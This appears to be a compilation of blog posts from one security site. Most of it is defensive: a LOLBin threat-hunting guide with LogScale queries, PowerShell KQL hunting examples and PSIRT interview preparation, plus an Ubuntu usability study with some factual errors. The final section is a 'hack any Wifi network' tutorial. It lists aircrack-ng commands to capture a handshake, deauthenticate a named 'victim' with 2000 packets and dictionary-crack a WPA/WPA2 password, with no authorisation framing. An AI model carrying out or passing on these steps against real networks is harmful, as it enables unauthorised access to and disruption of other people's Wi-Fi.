Threat Hunting for LOLBins: A Practical EDR Guide to Detecting Suspicious Living-Off-the-Land Activity

Living-off-the-land activity is difficult to assess because familiar software can appear in both ordinary administration and an intrusion. An EDR event for rundll32.exe or PowerShell is a starting observation, not a conclusion. The defender’s job is to explain why that process ran, what it touched and whether the sequence fits the environment.

This guide presents a repeatable approach for SOC analysts, threat hunters and incident responders working in authorised Windows environments. It contains defensive searches and fictional examples, with no payloads or instructions to compromise systems.

In this guideUnderstand the contextBuild the hunting workflowSix utilities to investigateFalcon / LogScale sample queriesTune and validateDocument and improve detectionsRelated articles and references

What are LOLBins and LOLBAS?

LOLBins is shorthand for legitimate binaries whose capabilities can be misused as part of an attack. LOLBAS broadens that lens to binaries, scripts and libraries. The software may be trusted or signed, but that does not make every invocation trustworthy. Conversely, appearing in a hunting list does not make a utility malicious.

The public LOLBAS project maintains a catalogue of documented capabilities and associated ATT&CK mappings. Use it to inform investigation coverage, not as a list of process names to block indiscriminately. A technique mapping should reflect observed behaviour, not merely the executable present in an event.

01 · Same utility, different context

Expected workflowApproved management process↓ Known utility and approved input↓ Expected destination and timingConfirm against change records

Investigate furtherUnexpected document parent↓ Utility references unfamiliar input↓ Unexplained network or file activityCorrelate before deciding

Original diagram: context changes the investigative priority. Neither column proves a verdict by itself.

Build a hypothesis before writing a query

Start with a bounded statement: “On ordinary office workstations, a document application starting a native utility and producing unexplained network activity may indicate an unapproved workflow.” Define the device group, time range, expected business uses and evidence that would weaken that hypothesis.

03 · A repeatable hunting loop

1 · Telemetry →Verify coverage and time range

2 · Hypothesis →Define an unexpected behaviour

3 · Query →Find a manageable candidate set

4 · Enrichment →Add endpoint and business context

5 · Validation →Test benign and suspicious explanations

6 · Improve ↺Document, tune and review coverage

Original workflow diagram. A visibility gap is a valid outcome and should feed the next iteration.

1. Identify candidate utilities. Choose a small set relevant to your estate. Include their legitimate owners and workflows in the hunt plan.
2. Establish a baseline. Compare use by device role, parent process, account and change window. A maintenance server and a finance workstation should not share one undifferentiated baseline.
3. Examine ancestry. Review the direct parent and surrounding process tree. Establish whether an approved tool explains the chain.
4. Read the arguments. Review paths, input files and destinations in context. Unfamiliar arguments merit investigation but are not proof; do not execute a captured command to find out what it does.
5. Correlate evidence. Connect process activity with network, file, registry, identity and persistence events using stable identifiers where available.
6. Enrich and validate. Check change records, file provenance, approved software inventories and relevant intelligence. Keep competing explanations visible.
7. Document the result. Record an explained benign workflow, a supported escalation or a coverage gap. Turn only validated patterns into detection candidates.

02 · Read the process tree as a story

Approved installer

↓

regsvr32.exe

↓

Known component registration
Documented update

winword.exe

↓

powershell.exe

↓

Unexpected child process
Business reason not established

Original conceptual example, not a vendor screenshot. Parent-child relationships are leads to investigate, not automatic maliciousness labels.

Six utilities: legitimate use and investigative context

PowerShell

Expected use: administration, configuration and approved automation. Investigate: an unusual parent, an unexplained script location, unexpected child processes or network destinations outside the normal workflow. An approved job, known script provenance and matching change record reduce concern; a document-origin chain with corroborating anomalies increases it. ATT&CK reference: T1059.001.

rundll32.exe

Expected use: invoking functionality exposed by DLLs, including system and application components. Investigate: unfamiliar referenced modules, unusual execution ancestry and related file or network activity. Verify the module path and provenance as well as the utility itself. A known component in a documented workflow supports a benign explanation; an unexplained module in a user-writable location warrants closer review. ATT&CK: T1218.011.

regsvr32.exe

Expected use: registering and unregistering supported components during installation or maintenance. Investigate: execution outside deployment windows, unexpected parents and unfamiliar component references. Correlate the installation record and module origin. The binary’s valid signature does not establish the legitimacy of the content it is asked to handle. ATT&CK: T1218.010.

mshta.exe

Expected use: running legacy HTML applications where an organisation still depends on them. Investigate: use on devices without an identified business need, unrecognised input, unusual child processes and related network events. Confirm whether a legacy application explains the activity before deciding. ATT&CK: T1218.005.

certutil.exe

Expected use: certificate-related administration and other diagnostic operations. Investigate: activity whose file inputs, outputs or destinations do not fit a certificate or support workflow. Check what was produced and whether another process subsequently used it. A documented certificate task lowers concern; an unexplained transfer followed by further execution raises it. Map evidence to T1105 for adversary tool transfer or T1140 for relevant decoding behaviour, rather than mapping every invocation.

bitsadmin.exe

Expected use: management of Background Intelligent Transfer Service jobs, including legacy administrative workflows. Investigate: unexpected job owners, destinations, transferred files or follow-on activity. Check job metadata and the service context: the network connection may be recorded under a service process, not the command-line utility. Approved software delivery can explain transfers; unknown jobs with unexplained follow-on behaviour deserve escalation. ATT&CK: T1197.

04 · Build an evidence chain

Process instance + device + time window

↔ Command lineInput, path and stated purpose

↔ NetworkDestination, outcome and timing

↔ FilesOrigin, hash and subsequent use

↔ RegistryWhat changed and who initiated it

↔ IdentityUser, session and expected role

↔ PersistenceTasks, services and autorun evidence

Original correlation diagram. A nearby event is not necessarily caused by the process being investigated.

Defensive Falcon / LogScale sample queries

Read this before using the examples.

These examples target CrowdStrike Query Language (CQL) in Falcon environments using LogScale-style search. They are not legacy Splunk-style Event Search queries. Field names, event schemas and syntax vary by deployment, sensor version and source. The examples were reviewed against public documentation, not executed in a Falcon tenant. Test and adapt them in an authorised environment.

Start with a short time range in the console, such as 24 hours, and a known device group. Confirm that process and network events exist. Check whether your dataset uses tagged #event_simpleName, whether parent names and user fields are populated, and whether paths use the expected separator. Empty results can mean missing telemetry, parser differences or an overly narrow scope.

Query 1 — inventory the selected utilities

#event_simpleName=ProcessRollup2 event_platform=Win
| ImageFileName=/\\(powershell|pwsh|rundll32|regsvr32|mshta|certutil|bitsadmin)\.exe$/i
| table([@timestamp, aid, ComputerName, UserName, ParentBaseFileName,
    ImageFileName, CommandLine, TargetProcessId])

This establishes a candidate set from full image paths. It is not a malicious-activity detector. Confirm the returned fields, inspect representative events and compare with known administrative activity. Renamed binaries and execution outside this list are outside its coverage.

Query 2 — inspect unusual document parents

#event_simpleName=ProcessRollup2 event_platform=Win
| ImageFileName=/\\(powershell|pwsh|rundll32|regsvr32|mshta|certutil|bitsadmin)\.exe$/i
| ParentBaseFileName=/^(winword|excel|powerpnt|outlook)\.exe$/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName,
    ImageFileName, CommandLine, TargetProcessId])

This looks for a specific parent-child pattern. Investigate the document workflow and full ancestry. It misses intermediate processes and legitimate integrations can match. Use the process-tree view to test the hypothesis rather than treating every returned row as an incident.

Query 3 — find low-frequency parent and image combinations

#event_simpleName=ProcessRollup2 event_platform=Win
| ImageFileName=/\\(rundll32|regsvr32|mshta|certutil|bitsadmin)\.exe$/i
| groupBy([ParentBaseFileName, ImageFileName], function=count(as=Executions), limit=10000)
| Executions <= 3
| sort(Executions, order=asc)

The threshold of three is illustrative. Counts refer to matching events in the selected scope and period, not global prevalence or unique hosts. Choose a baseline appropriate to your estate and account for duplicate events, collection gaps and new deployments. Check aggregation limits and partial-result warnings; rare results are not automatically suspicious.

Query 4 — correlate utility processes with IPv4 network events

#event_simpleName=NetworkConnectIP4 event_platform=Win
| join(query={
    #event_simpleName=ProcessRollup2 event_platform=Win
    | ImageFileName=/\\(rundll32|regsvr32|mshta|certutil|bitsadmin)\.exe$/i
  }, field=[aid, ContextProcessId], key=[aid, TargetProcessId],
  include=[ImageFileName, CommandLine, ParentBaseFileName], mode=inner)
| table([@timestamp, aid, ComputerName, ImageFileName,
    ParentBaseFileName, CommandLine, RemoteAddressIP4, ContextProcessId])

The association uses device ID aid plus Falcon process identifiers: network ContextProcessId and process TargetProcessId. Do not substitute a raw operating-system PID without validating its semantics. Review both event times and the connection outcome in your schema.

This query excludes unmatched network events. Join limits or an insufficient process-search window can hide matches, especially when a process started before the selected period. It covers IPv4 only and does not capture every DNS, IPv6, proxy, child-process or service-mediated action. A BITS transfer may therefore need job and service telemetry instead. Query matches show correlation, not proof of command-and-control or data theft.

How to tune this query set

Build exceptions from verified workflows, not convenient labels. For an approved deployment, record the owning team, expected parent, component or script identity, relevant device group, account and change window. Review exceptions periodically and retain a way to investigate deviations.

• Scope known deployment tools to their expected paths, publishers and activity; avoid an unconditional allowlist for every child they launch.
• Validate approved scripts and inputs. A trusted interpreter does not make an arbitrary script trusted.
• Use expected service accounts as context, not a blanket exclusion. Investigate interactive or out-of-pattern use.
• Separate server, workstation and administrative baselines, and revisit them after migrations or software changes.
• Test known benign records and safe, labelled lab records. Measure noise and missed coverage before scheduling a detection.

A fictional triage example

A document application starts a listed utility on a workstation. The event is uncommon, but the owner identifies a reporting add-in. A matching change record, known input and consistent peer-device behaviour support closing it as an explained workflow. In a second case, there is no matching workflow, the input is unfamiliar and correlated file activity remains unexplained. Preserve the timeline and escalate the evidence; do not label the case confirmed compromise solely because the utility appears in LOLBAS.

Turn a hunt into an improvement

A useful report records the hypothesis, scope, data coverage, query version, relevant evidence, competing explanations and final disposition. Keep sensitive command lines and customer details in approved internal systems rather than public examples.

Before promoting a hunt to a detection, establish an owner, review thresholds, test representative benign activity and define what an analyst should do with the result. Sometimes the best outcome is a logging improvement or a clarified software inventory, not another alert. If containment is warranted, follow the organisation’s approved incident-response process.

Related articles

• PowerShell Threat Hunting: Two Practical KQL Examples
• PSIRT interview preparation: communicating evidence and risk
• Explore the Knowledge Base Articles

References and further reading

• LOLBAS project — maintained capability catalogue.
• MITRE ATT&CK — individual technique references are linked in the utility sections.
• LogScale join documentation and groupBy documentation — verify syntax and limits for your version.
• CrowdStrike public LogScale community content — event-correlation examples and schema context.

Text and four conceptual diagrams created for Hack Invasion. No vendor-console screenshots or third-party graphics are reproduced.

PowerShell Threat Hunting: Two Practical KQL Examples

PowerShell threat hunting works best when a query tests a specific question. A PowerShell process alone is not evidence of compromise: administrators and management tools use it every day. The useful question is whether its parent process, user, timing and network activity fit the device’s normal role.

This guide uses hypothesis-driven threat hunting to investigate two patterns with Microsoft Defender XDR advanced hunting. The examples are fictional teaching scenarios, not accounts of real incidents. The queries are read-only starting points; they have not been executed against a live tenant and need validation against your environment.

The technique: start with a testable hypothesis

A hypothesis states what suspicious behaviour might look like and what evidence would support or weaken that explanation. Write it before searching, define the devices and time range, then compare the results with normal activity.

1. Define: describe the behaviour and the business context in which it would be unexpected.
2. Collect: check that the necessary endpoint events exist for the devices and period.
3. Investigate: connect process, account and network evidence instead of treating a query match as a verdict.
4. Conclude: record a supported finding, an explained benign result, or an unresolved visibility gap.

MITRE ATT&CK maps adversary use of PowerShell to T1059.001. That mapping describes a behaviour; it does not establish that an individual PowerShell execution is malicious.

Before running the queries

You need access to advanced hunting and relevant Defender for Endpoint telemetry. Microsoft documents DeviceProcessEvents for process activity and DeviceNetworkEvents for network activity. Check the in-portal schema and event coverage before interpreting results.

The queries use a seven-day window as a starting point. Adjust it to your retention, permissions and investigation scope. If the tables return no recent events for a known active device, resolve that visibility gap first. An empty result is not proof that a device is clean.

Example 1: an Office application launches PowerShell

Hypothesis: a document application launching PowerShell may indicate unexpected script execution on a workstation where that workflow is not normally used.

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessFileName in~ (
    "winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe")
| project Timestamp, DeviceId, DeviceName, AccountName,
    InitiatingProcessFileName, InitiatingProcessCommandLine,
    FileName, ProcessCommandLine, ProcessId, ProcessCreationTime
| order by Timestamp desc

This finds direct parent-child relationships. It will miss chains with an intermediate process, renamed executables and execution not captured by the sensor. Expand the investigation through the device timeline rather than assuming this query covers every PowerShell technique.

A fictional investigation

On FIN-LAPTOP-07, Word launches PowerShell shortly after a user opens a document. The parent relationship is unusual for this device, but it is only the starting observation.

• Review the full process tree and command line. Establish which document and workflow preceded the process where telemetry allows.
• Check the user’s role, relevant support activity and whether an approved document integration explains the behaviour.
• Look for nearby file creation, child processes and network events associated with the same process instance.
• Compare with similar workstations and earlier activity. Ask whether this is a new pattern or a known business workflow.

If an unapproved document launch is followed by an unexplained script and related external communication, preserve the evidence and escalate through the incident-response process. If a verified reporting add-in explains the chain and the activity matches an approved change, document that explanation. Neither the parent name nor the user’s recollection is sufficient on its own.

False positives and tuning

Reporting tools, document automation and support workflows can produce legitimate matches. Use narrow exceptions tied to a verified workflow and review date. Avoid excluding every PowerShell process launched by an entire user group: that would hide unrelated activity.

Example 2: PowerShell makes an unfamiliar network connection

Hypothesis: PowerShell network activity deserves closer review when the destination and initiating command do not fit the device’s expected administrative tasks.

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe")
| where isnotempty(RemoteIP) or isnotempty(RemoteUrl)
| project Timestamp, DeviceId, DeviceName, ActionType,
    RemoteUrl, RemoteIP, RemotePort,
    InitiatingProcessAccountName, InitiatingProcessCommandLine,
    InitiatingProcessId, InitiatingProcessCreationTime
| order by Timestamp desc

This returns observed network events, not a list of malicious destinations. Review ActionType to distinguish the recorded outcomes; do not assume every row represents a successful connection. A blank RemoteUrl also does not mean the destination was harmless or that no network activity occurred.

A fictional investigation

On OPS-WS-12, PowerShell contacts a destination absent from the team’s approved automation inventory. Its unfamiliarity makes it worth investigating; it does not prove command-and-control activity.

1. Identify the exact process instance using the device, process ID and process creation time. A process ID by itself can be reused.
2. Inspect its parent process and full command line in the endpoint timeline. Determine whether a scheduled task, management agent or interactive user initiated it.
3. Review the destination in approved DNS, proxy and threat-intelligence tools. Treat reputation as one signal, not a final verdict.
4. Compare the timing with change records and other devices performing the same task. Correlate relevant file and child-process events.

Suppose the endpoint owner supplies an approved inventory job and its destination and timing match the evidence. That supports a benign conclusion. If the command, destination and process chain remain unexplained, record the uncertainty and escalate with the supporting timeline. Do not open a suspicious destination from a normal workstation just to investigate it.

False positives and coverage limits

Software maintenance and cloud administration can legitimately use PowerShell networking. This query does not automatically calculate rarity, prove data transfer or identify what was sent. Connections made by a child process may appear under that child instead. Use an appropriate historical baseline and additional telemetry to answer those questions.

What a useful hunt report should contain

• Scope: hypothesis, dates, devices and data sources checked.
• Evidence: timestamps, process relationships and relevant events, with sensitive details handled under your organisation’s rules.
• Assessment: what supports the finding, what weakens it and what remains unknown.
• Disposition: escalate, close with a documented benign explanation, or assign a follow-up for missing visibility.
• Improvement: a logging fix, a narrowly scoped exception or a candidate detection to validate.

Validate a candidate detection with labelled benign and suspicious examples in an authorised environment before turning a hunt into an alert. Review the query’s coverage and false positives with the SOC; these examples are not ready-made production detection rules.

Common questions

Does unusual PowerShell activity always mean compromise?

No. Investigate the complete sequence and business explanation. Suspicion becomes more useful when several independent observations support it.

What if the hunt returns no results?

Confirm device onboarding, permissions, event availability and the time range. Then record that this specific search found no matches within its coverage, rather than claiming there was no malicious activity.

Can I use this technique with another SIEM?

Yes. Map the same questions to your process and network logs. The KQL shown here depends on the Defender schema and will need adaptation for other datasets.

For more defensive learning, browse the Knowledge Base Articles. To practise communicating evidence and risk, read the PSIRT interview preparation guide.

PSIRT Interview Preparation: CVSS, CWE and Scenarios

Preparing for a PSIRT interview? Practise explaining how you would take a vulnerability report from initial evidence to a validated fix and a clear customer advisory. Knowing a CVSS score helps; being able to defend your reasoning is what makes an answer useful.

In my own preparation, the most useful shift has been to separate what a scenario proves from what I would investigate next. This guide turns that approach into a repeatable framework for candidates moving from SOC, incident response or security engineering into product security.

By Amit Vijayan · September 6, 2026. These are original practice exercises and study notes, not a record of any employer’s interview questions.

In this guide

• What a PSIRT does
• A framework for technical answers
• CVSS 3.1 and 4.0 interview preparation
• Worked command-injection scenario
• Practice interview questions
• A seven-day study plan

What does a PSIRT do?

A Product Security Incident Response Team coordinates the handling of vulnerabilities in an organization’s products. Its work can include receiving reports, working with engineering to validate issues, assessing severity, coordinating remediation and communicating with researchers and customers. FIRST’s PSIRT Services Framework is a useful starting point for understanding this lifecycle.

For interview preparation, distinguish the product perspective from your operational response experience. A SOC investigation may ask whether an attacker compromised an environment. A PSIRT investigation also asks which product versions and configurations are affected, how engineering can remove the weakness, and what customers need to know. The teams can collaborate; their responsibilities depend on the organization.

A practical framework for PSIRT technical answers

I use the following sequence as a rehearsal tool. It keeps an answer structured without turning it into a memorized speech.

1. Restate the evidence. Identify the affected feature, input, required access and observed behaviour. Separate confirmed facts from assumptions.
2. Explain the mechanism. Trace attacker-controlled input into the vulnerable operation. Name the root cause before describing the consequence.
3. Bound the impact. Establish the execution context and what data or service can actually be affected.
4. Classify and score. Choose the most specific supported CWE and justify the CVSS metrics using the requested version.
5. Validate safely. Describe a representative, authorized lab and the telemetry needed to confirm or reject your hypothesis.
6. Fix and communicate. Address the underlying design, test the correction, identify affected releases and explain customer actions.

A useful sentence to practise is: “That is my initial assessment from the evidence provided; I would validate these assumptions before finalizing the impact and severity.” Follow it with the specific missing evidence. Uncertainty is useful when it produces a concrete investigation plan.

How to prepare for CVSS 3.1 and CVSS 4.0 questions

CVSS expresses vulnerability severity. A score alone does not tell you which issue a particular organization should address first. Explain the vector, then discuss exposure, exploitation evidence, customer impact and operational constraints separately.

CVSS 3.1: explain each decision

Practise Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope and confidentiality, integrity and availability impacts. Scope concerns a change in security authority; crossing a process boundary does not automatically establish it. Use the FIRST CVSS 3.1 specification to check definitions rather than relying on shorthand.

CVSS 4.0: do not translate the vector mechanically

Version 4.0 includes Attack Requirements and separates impacts to the vulnerable system from impacts to subsequent systems. It no longer uses the 3.1 Scope metric. Review the Base, Threat, Environmental and Supplemental metric groups in the CVSS 4.0 user guide. Supplemental metrics provide additional context without changing the calculated score.

For practice, explain what evidence supports each metric before opening the official calculator. Avoid guessing a decimal score from memory. Where the scenario leaves an important fact unresolved, state the assumption and show how a different answer could change the vector.

CVSS, EPSS and KEV answer different questions

• CVSS: how severe is the vulnerability under the scoring assumptions?
• EPSS: what is the estimated probability that a published CVE will be exploited in the wild in the next 30 days? See FIRST’s EPSS overview.
• CISA KEV: is the vulnerability listed as known to have been exploited? Use the Known Exploited Vulnerabilities Catalog as an input to prioritization.

An issue’s absence from KEV is not proof that it has never been exploited. In a prioritization exercise, I would also ask whether the affected component is reachable, enabled and used in a critical customer workflow.

Worked example: reasoning about OS command injection

Fictional practice scenario: an authenticated user can submit a value to a product’s diagnostics feature. Engineering confirms that the value reaches an operating-system command without adequate separation between data and command syntax. A harmless lab test causes an unintended command to run as the diagnostic service account.

1. Separate root cause, weakness and impact

• Root cause: unsafe construction of an OS command using attacker-controlled input.
• Weakness: OS command injection, consistent with CWE-78.
• Demonstrated impact: unintended command execution with the diagnostic service’s privileges.

“The attacker can execute commands” describes the consequence. It does not explain the programming error. Naming the unsafe operation makes the remediation discussion more precise.

2. Ask what the service account can actually affect

Before assigning high confidentiality, integrity and availability impacts, I would ask:

• Which sensitive files, secrets or records can the service read?
• Which data, configuration and executable files can it modify?
• Can it disrupt an essential service, and how complete or persistent is that disruption?
• What restrictions are imposed by its account, container, filesystem and network policy?
• Is there evidence of impact beyond the vulnerable system?

Do not claim privilege escalation, lateral movement or a complete takeover solely because command execution is possible. Those conclusions need evidence about the actual execution context.

3. Describe the evidence and reproduction plan

In an authorized isolated lab, first record normal diagnostic behaviour on an affected version and configuration. Then use a benign test that demonstrates the unintended execution without collecting secrets or disrupting service. Correlate the application request with process-execution telemetry, including the parent process, account and resulting activity. Record the exact conditions and the observation that distinguishes the vulnerable path from normal behaviour.

After remediation, repeat the test and verify that legitimate diagnostics still work. Include regression cases that exercise the unsafe input-handling pattern, not just one originally reported input.

4. Propose a fix that addresses the mechanism

Prefer eliminating shell-command construction in favour of an appropriate library or safe process-execution interface. Keep executable selection controlled, validate allowable arguments and run with least privilege. Passing arguments separately helps avoid shell interpretation, but does not automatically prevent unsafe options or argument injection; the called program’s behaviour still matters. MITRE’s CWE-78 guidance discusses prevention and mitigation approaches.

5. Deliver a concise interview answer

“The evidence supports OS command injection caused by unsafe command construction in the diagnostics feature. The demonstrated impact is command execution as the service account. I would establish that account’s access before finalizing the impact metrics, document the affected configuration, and correlate the request with process telemetry in a controlled lab. I would work with engineering to remove the unsafe execution pattern, then verify both the fix and normal diagnostic behaviour.”

PSIRT interview questions to practise

How would you handle an incomplete vulnerability report?

Explain what you can confirm, then request focused information: product and version, configuration, prerequisites, expected versus observed behaviour, reproduction steps and supporting evidence. Describe how you would track the case and keep the reporter informed. Avoid asking for a large, unfocused collection of logs.

How would you assess a denial-of-service report?

Trace the triggering input to the processing behaviour, constrained resource and observed service degradation. In your proposed lab, distinguish node-local failure from cluster-wide impact. Explain how you would observe recovery, failover and the effect on legitimate requests. Define limits and stop conditions before any load testing.

What if engineering disagrees with your severity assessment?

Walk through the disputed assumptions one metric at a time. Identify the observation that would resolve the disagreement and record the rationale. Discuss customer prioritization separately from the technical severity score. A defensible shared assessment is more useful than winning an argument over a number.

What belongs in a customer security advisory?

Cover the affected products and versions, prerequisites, impact, identifier where assigned, severity rationale, fixed releases, practical mitigations and update history. Distinguish confirmed facts from investigation status. FIRST’s PSIRT framework describes disclosure coordination and advisory responsibilities.

How would you coordinate disclosure?

Discuss communication with the reporter, engineering and relevant product stakeholders; a shared plan for remediation and publication; and how changing exploitation evidence would affect urgency. Avoid presenting a single deadline as universally correct. Practise explaining how you would handle dependencies or multiple affected vendors.

How does incident response experience help in PSIRT?

Bring a real example of evidence collection, competing hypotheses, prioritization or stakeholder communication. Explain your own contribution and the result. Then connect that experience to product investigation, fix validation or advisory writing. Use only details you are entitled to share.

A seven-day PSIRT interview preparation plan

1. Day 1 — Map the role. Read the PSIRT framework and draw a vulnerability report’s path from intake to disclosure.
2. Day 2 — Classify weaknesses. Pick three public advisories. Separate the root cause, CWE and demonstrated impact for each.
3. Day 3 — Practise CVSS. Build vectors using the official definitions and calculator. Explain the assumptions aloud.
4. Day 4 — Plan validation. Write a safe reproduction plan, required telemetry and pass/fail criteria for a fictional issue.
5. Day 5 — Write an advisory. Summarize a public, already-fixed vulnerability in language a customer can act on.
6. Day 6 — Rehearse collaboration. Prepare examples of resolving disagreement, working under uncertainty and communicating risk.
7. Day 7 — Run a mock interview. Give a two-minute assessment, then let a partner challenge your assumptions. Revise the weak reasoning.

A final self-check before the interview

Can you explain the unsafe operation, the evidence supporting impact, the missing information, the validation method and the fix? Can you give a customer a clear next step? If you can do those things without relying on memorized claims, your preparation is moving in a useful direction.

For my professional background, visit About Amit Vijayan or connect with me on LinkedIn.

A Usability Study On Ubuntu Operating System and Third Part Software Manager Using the Cognitive Walkthrough Method

A Usability Study On Ubuntu Operating System and Third Part Software Manager Using the Cognitive Walkthrough Method

                                                       

Abstract

Operating system – As name self explains, it manages the operation between Computer hardware and software resources. Application program is one of the components of operating system. Application program requires operating system to function. Major operating system are Linux operating system, Windows operating system, Mac.

 Ubuntu is an open-source Linux operating system, which is based on debian stable Linux distribution. Currently Ubuntu run across platforms such as laptops/desktops, servers and mobiles. Linux is similar to Unix but was developed without any Unix Code. Linux is an open license model, which has a general public license in which the Linux kernel code is available for studying and modification. Some of the popular Linux distributions are, red hat, Ubuntu, Linux mint, kali.

Introduction

How to install a third party software is one of the major tasks carried out in any operating system. The approach and procedure is different for the major operating system distributions, say windows, Linux and mac. So let’s walkthrough along to install a third party software in Ubuntu operating system which is based debian Linux distributions. Ubuntu comes with a default list of useful programs. However, most of the times, a specific software for serving the specific purpose is needed which is not served by default applications.

Software is a program which can be run on computer. However, for the smooth run of this software, it requires other resources in the operating system to work for it. So there are hundreds of files required just to make the program work. Upon that, the files has to be loaded onto the right locations, depending on different operating system architecture. Ubuntu stores all the needed files into a package, which has to be run. Thus package combines all files into a single file, which can be handled more easily.

Core tasks during the cognitive walkthrough are:

1. Validation of the software and installation of the system software.
2. Configuration of the fundamental services for the smooth and efficient run of the operating system.
3. The right way to start up and shutdown the operating system.
4. General Installation procedure for a user application.

Usability Guidelines

Guidelines used to evaluate the core task are as follows:

G1 - Users should be aware of the steps they have to perform to complete a core task.

G2 - Users should be able to determine how to perform these steps.

G3 - Users should know when they have successfully completed a core task.

G4 - Users should be able to recognize, diagnose, and recover from non-critical errors.

G5 - Users should not make dangerous errors from which they cannot recover.

G6 -Users should be comfortable with the terminology used in any interface dialogues or documentation.

G7 - Users should be sufficiently comfortable with the interface to continue using it.

G8 - Users should be aware of the application’s status at all times.

Ubuntu Operating System Installation:

The latest version of Ubuntu is 16.04.1 and is downloaded from the Ubuntu website. There are a couple of requirements to be met before kick starting the installation procedure. Validation of the software to check its health is important to start on. At times there are possibilities a software download can go corrupted. At the outset, if the hardware requirements fail, there is no point in continuing the installation, else if continued, the system would throw various errors during the operation of the system. Once this is met, the user interface of Ubuntu guides the user step by step. [G1,G3]

Ubuntu offers two types of installing the operating system

1. To externally install alongside another operating system

2. To inside the same operating system.

The advantage of installing inside an operating system is that, the files of the base operating system can be accessed through Ubuntu as it is. Therefore, by saving the switch over time between the operating systems and help solve duplicating the dataset. The next important aspect to be noted is the file system of Ubuntu. As in general NTFS/ fat 32 is used by Windows, likewise Ubuntu Linux considers ext3, ext4, ext5 as its file system. This is one of the critical step, a user should be aware of, as there are possibilities to lose valuable data in the hard disk. One of of the possibilities is, a user tends to have couple of operating systems to work on his machine. It is very important to know the number of partitions in the hard disk and its sizes. If confused with the partition name and formatted, then the user losses all data in that partition. After setting up these, the control shifts back to the system software to extract and copy the system files. Once done, asks the user to restart the operating system now or later, to complete the installation process.[G2,G5]

Configuration: Once the installation is done it is necessary to check for the available updates for the system. Configure default settings and preferences of audio, video, network applications. One of the good feature of Ubuntu is the use of terminal for most of the activities. Whether to update, install, traverse files terminal is a handy tool used extensively.  [G8]

Installing Software

Role of binary file - Let’s look into the importance of the source code and binary file for installing a software. Generally, when a package is created, for a particular software or program, source code will be stored, for the program in the package. Source code is nothing but a set of instructions for the computer, in order to execute the software, which is written in human readable language. Machines cannot understand this human native-language and hence the need to interpret the source code. This task is taken care by interpreter or compiler. One of the best ways of achieving this is by converting the source file into a binary file, in which machines can understand. Binary packages are ones which have been made specifically for one type of computer, or architecture. [G1]

Package Dependencies – Sometime a program needs same file to support the installation of its own software. Instead of storing each file into each package, a separate package can be installed to provide, so that any program in need of that file, can use them directly. So, to install a program which needs one of these files, the package containing those files must also be installed. When a package depends on another in this way, it is known as a package dependency. By specifying dependencies, packages can be made smaller and simpler, and duplicates of files and programs are mostly removed. When we install a program, its dependencies must be installed at the same time. Usually, most of the required dependencies will already be installed, but a few extras may be needed. [G1,G5]

 Package Managers - A package manager is an application which comes along with the operating system which deals with the downloading and installation of packages. Ubuntu includes a couple of package managers by default, and which we use depends on how advanced the package management tasks are that we want to achieve. The basic package manager, we are going to use here is the Add/Remove tool, which is very easy to use.[G1]

Repositories - Ubuntu stores all its packages at a location called repositories. Repository stores packages of similar types, which can be downloaded and installed using a package manager. A package manager will store an index of all of the packages available from a repository/ software channel. At times the index are rebuilt, to make sure that it is up to date and knows which packages have been upgraded or added into the channel since it last checked. In addition to the official Ubuntu repositories, it is possible to use third party repositories. Be careful, though - some are not compatible with Ubuntu and using them may cause programs to stop working or may even cause serious damage to your installation. [G6]

Installing a Package - This section explains how to install packages using the various tools available in Ubuntu. [G1,G6]

·         Graphical method

·         Text Based Methods (Terminal)

Let’s walkthrough the graphical method first. Not all the packages can be installed through graphical method. For such packages, text based methods are suitable. In Ubuntu we find most of the packages at "Software Centre ". Software from additional repositories may be installed. Once this has finished, click Close. Our new programs are installed and are ready to use.

Advanced graphical method - The Synaptic package manager is a more user friendly method for installation of the software packages. If any problem in finding the package with Add/Remove tool, we need to try using the search in Synaptic.[G6]

Text Based Methods - Text based methods demands the knowledge of how to use the terminal and its commands. While install packages, we should consider using an AptURL over apt-get or aptitude.[G5]

Aptitude - the text-based method - Aptitude is a text-based package manager, which must be run from a Terminal.

apt-get method

The apt-get program is a command-line package manager, which should be used if the Add/Remove tool and Synaptic ever run into problems. It provides an advanced interface to APT, the underlying package management system which Ubuntu uses, but is reasonably easy to operate.

Installing downloaded packages

We may wish to install a package you have downloaded from a website, rather than from a software repository. These packages are called .debfiles. GDebi is a simple tool to install .deb files. It has a graphical user interface but can also be used in terminal. It lets us to install local deb packages resolving and installing its dependencies. It automatically checks packages for their dependencies and will try to download them from the Ubuntu software repositories if possible. We may first need to install GDebi - simply install the gdebi package using one of the package managers listed above, or open a Terminal and type sudo apt-get install gdebi.

Double-click the package to open it with GDebi. If all dependencies have been met for the selected package, click the 'Install package' button to install it. GDebi will warn, if there are unmet dependencies, which means that there's dependencies that aren't resolved in the repositories that we are  using. If all met and resolved, the software is installed and ready to use.[G1,G4,G6]

-Amit Vijayan

References:

1.      https://help.ubuntu.com/community/InstallSoftware

2.      http://www.ubuntu.com/download/desktop/install-ubuntu-desktop

How to hack Any Wifi Network (WPA/WPA2)

Wifi Hacking (WPA/WPA2)

Wifi is surely a difficult task , but not for the one's who are using Kali linux. 

There are many wifi protocols followed in order to  protect the network but with some tools any wifi network can be Hacked.

"Rules are meant to be broken" 

For WPA/WPA2 hacking, we need  Kali Linux, Network Adapter 

Execute the following commands

1. ifconfig wlan up (just to ensure our wlan is active)

2. airmon-ng      (to ensure our network card is working)

3. airmon-ng check kill (kills the process that may harm our attack)

4. airmon-ng start wlan1 (starts monitor mode)

5. airodump-ng wlan1

6. airodump-ng --bssid "MAC id of the router" --channel "on which channel it is on " wlanmon1

this command dumps the information of the router , for eg number of devices connected on this network along with the device mac id.

7. airodump-ng --channel "channel number"  --bssid "Station Address" -w /root/WPAsample wlan1mon

now the information is stored in root under the file name of WPAsample

Now open a new terminal 

8. aireplay-ng   --deauth 2000 -a "Mac Address " -c "Victim's Mac Address " wlan1mon

aireplay is a  tool used in Kali Linux which is used to send de-authentication packets. The purpose of de-authentication packets is to kick the existing user out from the network and force him to reconnect.

Open in new terminal 

9. aireplay-ng -0 1 -a " BSSID " -c "Victims Address " wlan1mon

10. aircrack-ng  -w " Location of the password list" " Location of the file "

Video Tutorial of WPA/WPA2 for reference 

                     

    ================================================

How to kick your friend from using from Wifi?
